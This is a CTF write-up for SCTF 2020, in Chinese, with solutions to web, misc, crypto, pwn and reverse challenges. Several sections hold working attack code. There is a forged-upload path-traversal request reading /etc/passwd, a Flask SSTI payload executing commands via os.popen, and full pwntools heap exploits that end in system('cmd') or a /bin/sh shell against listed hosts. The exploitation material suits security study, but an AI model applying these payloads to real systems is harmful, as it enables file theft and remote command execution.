SCTF 2020 WriteUp

SCTF 2020 WriteUp

Web

CloudDisk

解题思路

const file = ctx.request.body.files.file;
    const reader = fs.createReadStream(file.path);
    let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
    let filePath = path.join(__dirname, 'upload/') + fileId
    const upStream = fs.createWriteStream(filePath);
    reader.pipe(upStream)

这里上传的是file.path的内容,可以不上传文件,用json可以伪造一个。

{"files": {"file":{"name":"aaa","path":"/etc/passwd"}}}

通过返回的ID,去下载文件,可以得到passwd的内容,最后在/app/flag处得到flag。

SCTF{47cf9489d8832e44312dssxag6f88f45736e0e9c8}

pysandbox

解题思路

通过exec更改Flask静态文件位置,POST如下数据:

cmd=Flask.=app.root_path[0:1]%2bapp.name[0:3]

最终访问 39.104.25.107:10004/sta,得到flag

Jsonhub

解题思路创建账号,使得账号拥有管理员权限

{"username":"cchs1","password":"cchs1","is_staff":true, "is_superuser":true}

后台admin登录拿到token

Token:3ad9af405504233188f694a11ff22115
Django url任意跳转 + flask SSTIpayload

home目录下

{"token":"3ad9af405504233188f694a11ff22115","url":"http://39.104.19.182//2130706433:8000//rpc?url=http://127.0.0.1:5000/caculator&methods=POST&data=eyJudW0xIjoieyIsIm51bTIiOiJ9Iiwic3ltYm9scyI6IntbXS5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKVs2NF0uX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydfX2ltcG9ydF9fJ10oXCJvXCIrXCJzXCIpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCl9In0="}

flask payload:
{"num1":"{","num2":"}","symbols":"{[].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__'](\"o\"+\"s\").popen('/readflag').read()}"}
SCTF{2b19246757c63738e7c40bbdf87c3be1}

Misc

Can you hear

解题思路

SSTV直接用软件解密SCTF{f78fsd1423fvsa}

doudizhu

解题思路

SCTF{Did-you-enj0y-1t?~~~~~!!~!!!~}

Easymisc

解题思路
将给出的jpg的hex逆转
修复文件头是一张图,然后strings看到一串密文,rc4解密即可

SCTF{St@Y_@T_H0Me}

PassWord Lock

直接ida打开,然后分析。
题目给出密码锁只有四位,所以输入的密码只可能是1-4组成。
分析代码得到密码输入顺序
1442413

Crypto

RSA

解题思路
这道题的切入点在于两次加密用了同样的私钥并且私钥比较短,从而导致了加密系统被破解,具体原理和攻击方式可以参看Lattice Based Attack on Common Private Exponent RSA 一文,主要就是构造这样一个格

然后利用LLL算法进行规约得到Md,然后除以M得到d,从而解密密文得到flag。

#sol.sage
from Crypto.Util.number import *
from gmpy2 import *
e0=
n0=
c0=
e1=
n1=
c1=
e2=
n2=
c2=

M=iroot(int(n2),int(2))[0]
a=[0]*4
a[0]=[M,e0,e1,e2]
a[1]=[0,-n0,0,0]
a[2]=[0,0,-n1,0]
a[3]=[0,0,0,-n2]

Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
d = abs(Mat_LLL[0][0])/M
print (long_to_bytes(pow(c1,int(d),int(n1))))

lattice

解题思路

from base64 import b16encode


Zx.<x> = ZZ[]
n = 109 
q = 2048
p = 3
Df = 9
Dg = 10
Dr = 11


def mul(f,g):
    return (f * g) % (x^n-1)


def bal_mod(f,q):
    g = list(((f[i] + q//2) % q) - q//2 for i in range(n))
    return Zx(g)


def random_poly(d):
    assert d <= n
    result = n*[0]
    for j in range(d):
        while True:
            r = randrange(n)
            if not result[r]: break
        result[r] = 1-2*randrange(2)
    return Zx(result)


def inv_mod_prime(f,p):
    T = Zx.change_ring(Integers(p)).quotient(x^n-1)
    return Zx(lift(1 / T(f)))


def inv_mod_powerof2(f,q):
    assert q.is_power_of(2)
    g = inv_mod_prime(f,2)
    while True:
        r = bal_mod(mul(g,f),q)
        if r == 1: return g
        g = bal_mod(mul(g,2 - r),q)


def keygen():
    # 9 项 Df=9
    f = random_poly(Df)
    while True:
        try:
            fp = inv_mod_prime(f,p)
            fq = inv_mod_powerof2(f,q)
            break
        except:
            f = random_poly(Df)
    # Dg=10
    g = random_poly(Dg)
#     print(g)
#     print(f)
    h = bal_mod(p * mul(fq,g),q)
    pub_key = h
    pri_key = [f,fp]
    return pub_key,pri_key


def encrypt(m,h):
    r = random_poly(Dr)
    e = bal_mod(mul(h,r) + m,q)
    return e


def decrypt(pri_key,e):
    f,fp = pri_key
    a = bal_mod(mul(f,e),q)
    # print(a)
    b = bal_mod(mul(a,fp),p)
    pt = ''.join([str(i) for i in b.list()])
    return b,pt


if __name__ == '__main__':
    pub_key,pri_key = keygen()
    flag=b'SCTF{**********}'[5:-1]
    m = Zx(list(bin(int(b16encode(flag), 16))[2:]))
    e = encrypt(m,pub_key)
    print('pub_key=',)
    print(pub_key)
    print('e=',)
    print(e)

LLL 解私钥

Zx.<x> = ZZ[]
n = 109 
q = 2048
p = 3
Df = 9
Dg = 10
Dr = 11
h=510*x^108 - 840*x^107 - 926*x^106 - 717*x^105 - 374*x^104 - 986*x^103 + 488*x^102 + 119*x^101 - 247*x^100 + 34*x^99 + 751*x^98 - 44*x^97 - 257*x^96 - 749*x^95 + 648*x^94 - 280*x^93 - 585*x^92 - 347*x^91 + 357*x^90 - 451*x^89 - 15*x^88 + 638*x^87 - 624*x^86 - 458*x^85 + 216*x^84 + 36*x^83 - 199*x^82 - 655*x^81 + 258*x^80 + 845*x^79 + 490*x^78 - 272*x^77 + 279*x^76 + 101*x^75 - 580*x^74 - 461*x^73 - 614*x^72 - 171*x^71 - 1012*x^70 + 71*x^69 - 579*x^68 + 290*x^67 + 597*x^66 + 841*x^65 + 35*x^64 - 545*x^63 + 575*x^62 - 665*x^61 + 304*x^60 - 900*x^59 + 428*x^58 - 992*x^57 - 241*x^56 + 953*x^55 - 784*x^54 - 730*x^53 - 317*x^52 + 108*x^51 + 180*x^50 - 881*x^49 - 943*x^48 + 413*x^47 - 898*x^46 + 453*x^45 - 407*x^44 + 153*x^43 - 932*x^42 + 262*x^41 + 874*x^40 - 7*x^39 - 364*x^38 + 98*x^37 - 130*x^36 + 942*x^35 - 845*x^34 - 890*x^33 + 558*x^32 - 791*x^31 - 654*x^30 - 733*x^29 - 171*x^28 - 182*x^27 + 644*x^26 - 18*x^25 + 776*x^24 + 845*x^23 - 675*x^22 - 741*x^21 - 352*x^20 - 143*x^19 - 351*x^18 - 158*x^17 + 671*x^16 + 609*x^15 - 34*x^14 + 811*x^13 - 674*x^12 + 595*x^11 - 1005*x^10 + 855*x^9 + 831*x^8 + 768*x^7 + 133*x^6 - 436*x^5 + 1016*x^4 + 403*x^3 + 904*x^2 + 874*x + 248
e=-453*x^108 - 304*x^107 - 380*x^106 - 7*x^105 - 657*x^104 - 988*x^103 + 219*x^102 - 167*x^101 - 473*x^100 + 63*x^99 - 60*x^98 + 1014*x^97 - 874*x^96 - 846*x^95 + 604*x^94 - 649*x^93 + 18*x^92 - 458*x^91 + 689*x^90 + 80*x^89 - 439*x^88 + 968*x^87 - 834*x^86 - 967*x^85 - 784*x^84 + 496*x^83 - 883*x^82 + 971*x^81 - 242*x^80 + 956*x^79 - 832*x^78 - 587*x^77 + 525*x^76 + 87*x^75 + 464*x^74 + 661*x^73 - 36*x^72 - 14*x^71 + 940*x^70 - 16*x^69 - 277*x^68 + 899*x^67 - 390*x^66 + 441*x^65 + 246*x^64 + 267*x^63 - 395*x^62 + 185*x^61 + 221*x^60 + 466*x^59 + 249*x^58 + 813*x^57 + 116*x^56 - 100*x^55 + 109*x^54 + 579*x^53 + 151*x^52 + 194*x^51 + 364*x^50 - 413*x^49 + 614*x^48 + 367*x^47 + 758*x^46 + 460*x^45 + 162*x^44 + 837*x^43 + 903*x^42 + 896*x^41 - 747*x^40 + 410*x^39 - 928*x^38 - 230*x^37 + 465*x^36 - 496*x^35 - 568*x^34 + 30*x^33 - 158*x^32 + 687*x^31 - 284*x^30 + 794*x^29 - 606*x^28 + 705*x^27 - 37*x^26 + 926*x^25 - 602*x^24 - 442*x^23 - 523*x^22 - 260*x^21 + 530*x^20 - 796*x^19 + 443*x^18 + 902*x^17 - 210*x^16 + 926*x^15 + 785*x^14 + 440*x^13 - 572*x^12 - 268*x^11 - 217*x^10 + 26*x^9 + 866*x^8 + 19*x^7 + 778*x^6 + 923*x^5 - 197*x^4 - 446*x^3 - 202*x^2 - 353*x - 852


def decrypt(pri_key,e):
    f,fp = pri_key
    a = bal_mod(mul(f,e),q)
    # print(a)
    b = bal_mod(mul(a,fp),p)
    pt = ''.join([str(i) for i in b.list()])
    return pt


from Crypto.Util.number import *
def lattice(h,q):
    n = 109
    h = bal_mod(683*h,q)
    grid = Matrix(ZZ,2*n,2*n)
    cof = h.list()
#     print(cof)
    offset = 0
    for i in range(2*n):
        for j in range(2*n):
            if i<n:
                if j < n:
                    if i==j:
                        grid[i,j] = 1
                else:
                    grid[i,j] = cof[(j-n-offset)%n]
            elif j>=n and i==j:
                grid[i,j] = q
        offset += 1
    GL = grid.BKZ()
    print(GL[0])
    return GL,grid


GL,grid = lattice(h,q)
SVP = list(GL[0])
print(SVP)
f = Zx(SVP[:n])
g = Zx(SVP[-n:])
print(f)
print(g)
a = bal_mod(mul(f,e),q)
fp = inv_mod_prime(f,p)
pv = (f,fp)
flag = int(decrypt(pv,e)+'0'*6,2)
print(long_to_bytes(flag))

Pwn

EasyWinHeap

解题思路windows平台下的uaf,程序首先在堆中申请了一段空间(结构体)用来存放后续申请堆的指针和用来打印的调用puts函数的指针。先泄露堆地址,考虑uaf修改free chunk,unlink后使得上面结构体中堆指针指向自身,即可劫持结构体,实现任意读写和任意函数调用。首先泄露puts iat表的内容,得到其真实地址,计算出ucrtbase.dll的基址,即可得到system的真实地址,然后将其覆盖原有的puts函数指针,执行system("cmd")

from pwn import *
p = remote("47.94.245.208", 23333)

def add(size):
    p.sendlineafter("option >\r\n", '1')
    p.sendlineafter("size >\r\n", str(size))
def show(idx):
    p.sendlineafter("option >\r\n", '3')
    p.sendlineafter("index >\r\n", str(idx))
def free(idx):
    p.sendlineafter("option >\r\n", '2')
    p.sendlineafter("index >\r\n", str(idx))
def edit(idx, content):
    p.sendlineafter("option >\r\n", '4')
    p.sendlineafter("index >\r\n", str(idx))
    p.sendlineafter("content  >\r\n", content)
def exp():
    for i in range(6):
        add(32)
    free(2)
    free(4)
    show(2)
    heap_addr = u32(p.recvuntil("\r", drop=True)[:4])
    log.info("heap_addr ==> " + hex(heap_addr))
    edit(2, p32(heap_addr-0xd8)+p32(heap_addr-0xd4))
    free(1)
    show(2)
    p.recv(4)
    image_base = u32(p.recv(4))-0x1043
    log.info("image_base ==> " + hex(image_base))
    puts_iat = image_base + 0x20c4
    log.info("puts_iat  ==> " + hex(puts_iat))
    edit(2, p32(puts_iat)+p32(image_base+0x1040)+p32(heap_addr-0xe8))
    show(2)
    ucrtbase = u32(p.recv(4))-0xb89f0
    log.info("ucrtbase  ==> " + hex(ucrtbase))
    system = ucrtbase+0xefda0
    edit(0, 'cmd\x00')
    edit(3, p32(system)+p32(heap_addr-0x60))
    show(0)
    p.interactive()
if __name__ == '__main__':
    exp()

coolcode

解题思路存在负数溢出可以覆盖到got表,程序中存在沙盒且没有open,但是可以使用系统调用号5,恰好是32位的open,考虑用retfq来切换使用32位指令。先修改exit_got为ret来绕过check,然后修改free_got执行read,利用read将后续shellcode读到bss段,retfq切换执行32位的open,再retfq切换回来执行read,write打印出flag

from pwn import *
context.os = 'linux'
prog = './CoolCode'
p = remote("39.107.119.192 ", 9999)    
def add(idx, content):
    p.sendlineafter("choice :", '1')
    p.sendlineafter("Index: ", str(idx))
    p.sendafter("messages: ", content)
def show(idx):
    p.sendlineafter("choice :", '2')
    p.sendlineafter("Index: ", str(idx))
def free(idx):
    p.sendlineafter("choice :", '3')
    p.sendlineafter("Index: ", str(idx))
def exp():
    read = '''
        xor eax, eax
        mov edi, eax
        push 0x60
        pop rdx
        mov esi, 0x1010101
        xor esi, 0x1612601
        syscall
        mov esp, esi
        retfq
    '''
    open_x86 = '''
        mov esp, 0x602770
        push 0x67616c66
        push esp
        pop ebx
        xor ecx,ecx
        mov eax,5
        int 0x80
    '''
    readflag = '''
        push 0x33
        push 0x60272e
        retfq
        mov rdi,0x3
        mov rsi,rsp
        mov rdx,0x60
        xor rax,rax
        syscall
        mov rdi,1
        mov rax,1
        syscall
    '''
    readflag = asm(readflag, arch = 'amd64')
    add(-22, '\xc3')
    add(-37, asm(read, arch = 'amd64'))
    gdb.attach(p)
    free(0)
    payload = p64(0x602710)+p64(0x23)+asm(open_x86)+readflag
    p.sendline(payload)
    p.interactive()
if __name__ == '__main__':
    exp()

snake

解题思路free的时候buf里面只清空了数组里面的指针,没有清空buf里面的指针造成了uaf,而且再snake死亡在最左下角的时候输入会造成单字节溢出。但是我不知道为啥,这题的所有one_gadget配合realloc的偏移都失败,最后是通过unsorted bin attack攻击为fast bin attack攻击__free_hook制造条件,最后修改__free_hook为system达到getshell

from PwnContext import *
from pwn import *
context.log_level = 'debug'
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = 'snake'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0

def choice():
    if(local):
        p=rs()
    else:
        ctx.remote = ('39.107.244.116',9999)
        p=rs('remote')
    return p

def debug():
    if(local==1):
        libc_base = ctx.bases.libc
        print hex(libc_base)
        ctx.debug()

def menu(index):
    sla("4.start name\n",index)
def create(index,size,name):
    menu(1)
    sla("index?\n",index)
    sla("how long?",size)
    sa( 'name?\n',name)
def get(index):
    menu(3)
    sla("index?\n",index)
def start():
    menu(4)
def free(index):
    menu(2)
    sla("index?\n",index)
def leave(conten):
    sa("please leave words:",conten)

choice()
sla("how long?",0x48)
sa("input name\n","111")
sl("y")
sa("score: ","s"*0x22)
leave("f"*0x4c+'\xd1')
sa("if you want to exit?","n")
create(1,0x68,p64(0x51)*13)
create(2,0x68,p64(0x51)*13)
create(3,0x68,p64(0x51)*13)
get(0)
free(0)
start()
ru("player name: ")
libc_base=uu64(r(6))-(0x7f315f8f0b78-0x7f315f52c000)
leak("libc_base",libc_base)
sa("score: ","d")
leave("1")
sa("if you want to exit?","n")
free(1)
create(4,0x6f,p64(1)*9+p64(0x71)+p64(libc_base+libc.symbols["__free_hook"]-0x33))
create(5,0x68,p64(0x51)*7+p64(libc_base+libc.symbols["__free_hook"]-0x40))
create(6,0x48,"/bin/sh\x00")
create(7,0x68,"\x00"*0x23+p64(libc.symbols["system"]+libc_base))
free(6)
irt()

Reverse

signin

解题思路Python打包的可执行文件逆向。

  1. 转换为pyc文件

  2. 对文件进行修补

  3. 程序是在Python3.8环境下打包,因此我们需要在Python3.8下使用uncompyle6,得到Python文件

    分析代码后,实际是调用tmp.dll文件中的enc函数,传入username, password, pwd_safe, len(pwd_safe),实际就是将password加密后存储到pwd_safe字节码中。最后用pwd_safe与b64decode(b'PLHCu+fujfZmMOMLGHCyWWOq5H5HDN2R5nHnlV30Q0EA')比较,且我们能够了解到用户名应该是SCTFer,且最后返回的status一个为非1。

  4. 打开tmp.dll

    整个代码就是两个过程,一个是加密,一个是加密结果异或,最后得到b64decode(b'PLHCu+fujfZmMOMLGHCyWWOq5H5HDN2R5nHnlV30Q0EA')。

  5. 难点在加密函数

    仔细观察代码,实际上这部分代码是使用CRC32的查表法,对数据进行加密。
    加密原理实际上就是CRC32算法---输入一组长度32的字符串,每8个字节分为1组,共4组。对每一组取首位,判断正负。正值,左移一位;负值,左移一位,再异或0xB0004B7679FA26B3。重复判断操作64次,得到查表法所用的表。
    因此我们只需要将整个加密过程逆向操作得到查表法的表,再进行CRC32计算,就能得到输入。

from base64 import *

username = "SCTFer"
pwd_safe = b64decode('PLHCu+fujfZmMOMLGHCyWWOq5H5HDN2R5nHnlV30Q0EA')

num = ["%02x" % x for x in pwd_safe]
hex_num = [int(x, 16) for x in num]

print(num)

for i in range(32):
    hex_num[i] ^= ord(username[i % len(username)])

hex_nums = bytes.fromhex(''.join([hex(x)[2:].rjust(2, '0') for x in hex_num]))

print (hex_nums)

secret = []

for i in range(4):
    secret.append(int.from_bytes(hex_nums[i*8:(i + 1) * 8], byteorder="little"))

print (secret)

key = 0xB0004B7679FA26B3

flag = ""

for s in secret:
    for i in range(64):
        sign = s & 1
        if sign == 1:
            s ^= key
        s //= 2
        if sign == 1:
            s |= 0x8000000000000000
    print(hex(s))
    j = 0
    while j < 8:
        flag += chr(s&0xFF)
        s >>= 8
        j += 1
print(flag)
SCTF{We1c0m3_To_Sctf_2020_re_!!}

get_up

解题思路

这是实际就是在说明输入字符串长度不大于6,且通过sub_401DF0返回1

返回1,实际就是满足加密后的Dst32c1d123c193aecc4280a5d7925a2504相同,实际是MD5加密,得到输入为sycsyc
接下来,程序查找.reioc段,并将.reioc段数据与sycsyc循环异或,写出IDAPython脚本
beg_adr = 0x405000
dst = "sycsyc"
for i in range(0,0x200,16):
    for j in range(16):
        PatchByte(beg_adr+i+j,Byte(beg_adr+i+j)^ord(dst[j%6]))

然后跟去混淆方法类似,先转换为Data,再强制分析数据,转换为函数。

打开sub_4027F0函数
b这里实际和上面差不多,输入长度为30的flag,取前5个字符,与.ebata段的部分循环异或。(实际就是得到下面sub_404000函数的代码)。这里可以合理猜测flag的前五个字符为SCTF{,写出脚本

beg_adr = 0x404000
dst = "SCTF{"
for i in range(16,96):
    PatchByte(beg_adr+i,Byte(beg_adr+i)^ord(dst[i%5]))

跟上面一样将.ebata段转换为data,再分析代码,转换为函数,开头如果提示栈不平衡,重新单独分析一下就行。

通过代码直接爆破就行
#include <bits/stdc++.h>

using namespace std;

int sub_401A70(int* a1, char* Str) {
    int v5[30] = { 0 }, v6 = 0, v10 = 0, v11 = 0;
    int v12[] = { 128,85,126,45,209,9,37,171,60,86,149,196,54,19,237,114,36,147,178,200,69,236,22,107,103,29,249,163,150,217 };

    for (unsigned int i = 0;; ++i) {
        if (i >= strlen(Str)) {
            break;
        }
        v5[i] = Str[i];
    }

    for (unsigned int j = 0;; ++j) {
        if (j >= strlen(Str)) {
            break;
        }
        v11 = (v11 + 1) % 256;
        v10 = (a1[v11] + v10) % 256;
        a1[v11] = a1[v10] & ~a1[v11] | a1[v11] & ~a1[v10];
        a1[v10] = a1[v10] & ~a1[v11] | a1[v11] & ~a1[v10];
        a1[v11] = a1[v10] & ~a1[v11] | a1[v11] & ~a1[v10];
        v6 = (a1[v10] + a1[v11]) % 256;
        v5[j] ^= a1[v6];
    }

    for (unsigned int k = 0; k < 30; ++k)
        if (v5[k] != v12[k]) {
            return k + 1;
        }

    return 0;
}

int sub_404000(char* Str) {
    size_t v1;
    int v3[300] = { 0 }, v5 = 0, v9[300] = { 0 };
    char Dst[40] = { 0 }, v11[9] = "syclover";
    memset(Dst, 0, 0x28u);

    for (int i = 0; i < strlen(Str); ++i)
        Dst[i] = Str[i];

    for (int j = 0; j < 256; ++j) {
        v9[j] = j;
        v1 = strlen(v11);
        v3[j] = v11[j % v1];
    }

    for (int k = 0; k < 256; ++k) {
        v5 = (v3[k] + v9[k] + v5) % 256;
        int tmp = v9[k];
        v9[k] = v9[v5];
        v9[v5] = tmp;
    }
    return sub_401A70(v9, Dst);
}

int main()
{
    char flag[] = "SCTF{************************}";
    for (unsigned int i = 5; sub_404000(flag);)
        if (sub_404000(flag) == i + 1)
            flag[i]++;
        else
            i++;
    cout << flag << endl;

    system("PAUSE");
    return 0;
}
SCTF{zzz~(|3[_]_rc4_5o_e4sy}

Orz

解题思路
题目要求输入32字节的flag,取其中的3字节计算得到seed,再以此生成33元素的数组。再以此数组和输入生成256字节的表,最后通过16次循环加密得到结果与常量比较。加密算法为64次的DES,加密所用的原始密钥和数据均取自256字节的表。64次的DES加密所用密钥都是上次密钥左移1位,溢位则密钥和数据均先做异或处理。解题思路是可通过DES解密得到256字节的表,再利用已知的flag前4字节为SCTF的格式跑出seed,从而生成33元素数组,最终计算得到flag。动态脚本,跑出seed的值为0x63,最后的解题脚本如下:
def decrypt(data,key):
  ci = DES.new(key,DES.MODE_ECB)
  ret = ci.decrypt(data)
  return ret


def de_round(d,key):
  for i in range(64):    
    d = struct.unpack('Q',decrypt(struct.pack('Q',d),struct.pack('Q',key)))[0]
    bf = key & 1
    if bf:
      key ^= 0x3FD99AEBAD576BA5
      d ^= 0x7265766F6C637973
      key |= 0x10000000000000000
    key >>= 1     
  return d,key

def main():
  check_data = file('check_data.bin','rb').read()
  table = file('table.bin','rb').read()
  table = struct.unpack('33I',table)
  t = []
  for i in range(16):
    key,d = struct.unpack('2Q',check_data[16*i:16*i+16])
    d,key = de_round(d,key)
    t += [key&0xffffffff,key>>32,d&0xffffffff,d>>32]
  flag = ''
  for i in range(32):
    for j in range(33):
      if j == 0:
        tmp = t[i] ^ table[j]
        flag += chr(tmp)
      t[i+j] -= (table[j]^tmp)
  print flag
SCTF{b5c0b187fe309af0f4d35982fd}

easyre

解题思路
本题静态看到的主函数是假的验证函数。此函数的字节码计算出crc32hash,解码出一个dll文件,真实的验证函数为其导出函数Encode。而真实的流程在0x409FF0处,此处函数通过注册exit回调而调用。

图中的sub_40CBB0函数得到Endcode函数的地址,并调用此dll函数。而Encode函数对输入进行AES加密,然后对加密结果进行位计算与常量比较。找了份aes的python代码稍改下就能反解了(扩展密钥直接dump的):
Sbox = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

InvSbox = (
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)

Rcon = (
    0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
    0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
    0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
    0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)

def text2matrix(text):
    matrix = []
    for i in range(16):
        byte = (text >> (8 * (15 - i))) & 0xFF
        if i % 4 == 0:
            matrix.append([byte])
        else:
            matrix[i / 4].append(byte)
    return matrix

def matrix2text(matrix):
    text = 0
    for i in range(4):
        for j in range(4):
            text |= (matrix[i][j] << (120 - 8 * (4 * i + j)))
    return text

class AES:
    def __init__(self, master_key):
        self.change_key1(master_key)
    def change_key1(self,master_key):
      self.round_keys = [
                          [0x33, 0x34, 0x33, 0x35], [0x36, 0x34, 0x34, 0x35], [0x30, 0x33, 0x32, 0x33], [0x30, 0x33, 0x32, 0x33],
                          [0xF0, 0x30, 0xF0, 0x17], [0xC6, 0x04, 0xC4, 0x22], [0xF6, 0x37, 0xF6, 0x11], [0xC6, 0x04, 0xC4, 0x22],
                          [0x63, 0x84, 0x02, 0x09], [0xA5, 0x80, 0xC6, 0x2B], [0x53, 0xB7, 0x30, 0x3A], [0x95, 0xB3, 0xF4, 0x18],
                          [0xCE, 0xAE, 0x6F, 0xB2], [0x6B, 0x2E, 0xA9, 0x99], [0x38, 0x99, 0x99, 0xA3], [0xAD, 0x2A, 0x6D, 0xBB],
                          [0x24, 0x3B, 0x8A, 0x86], [0x4F, 0x15, 0x23, 0x1F], [0x77, 0x8C, 0xBA, 0xBC], [0xDA, 0xA6, 0xD7, 0x07],
                          [0xE1, 0x6C, 0xAE, 0x98], [0xAE, 0x79, 0x8D, 0x87], [0xD9, 0xF5, 0x37, 0x3B], [0x03, 0x53, 0xE0, 0x3C],
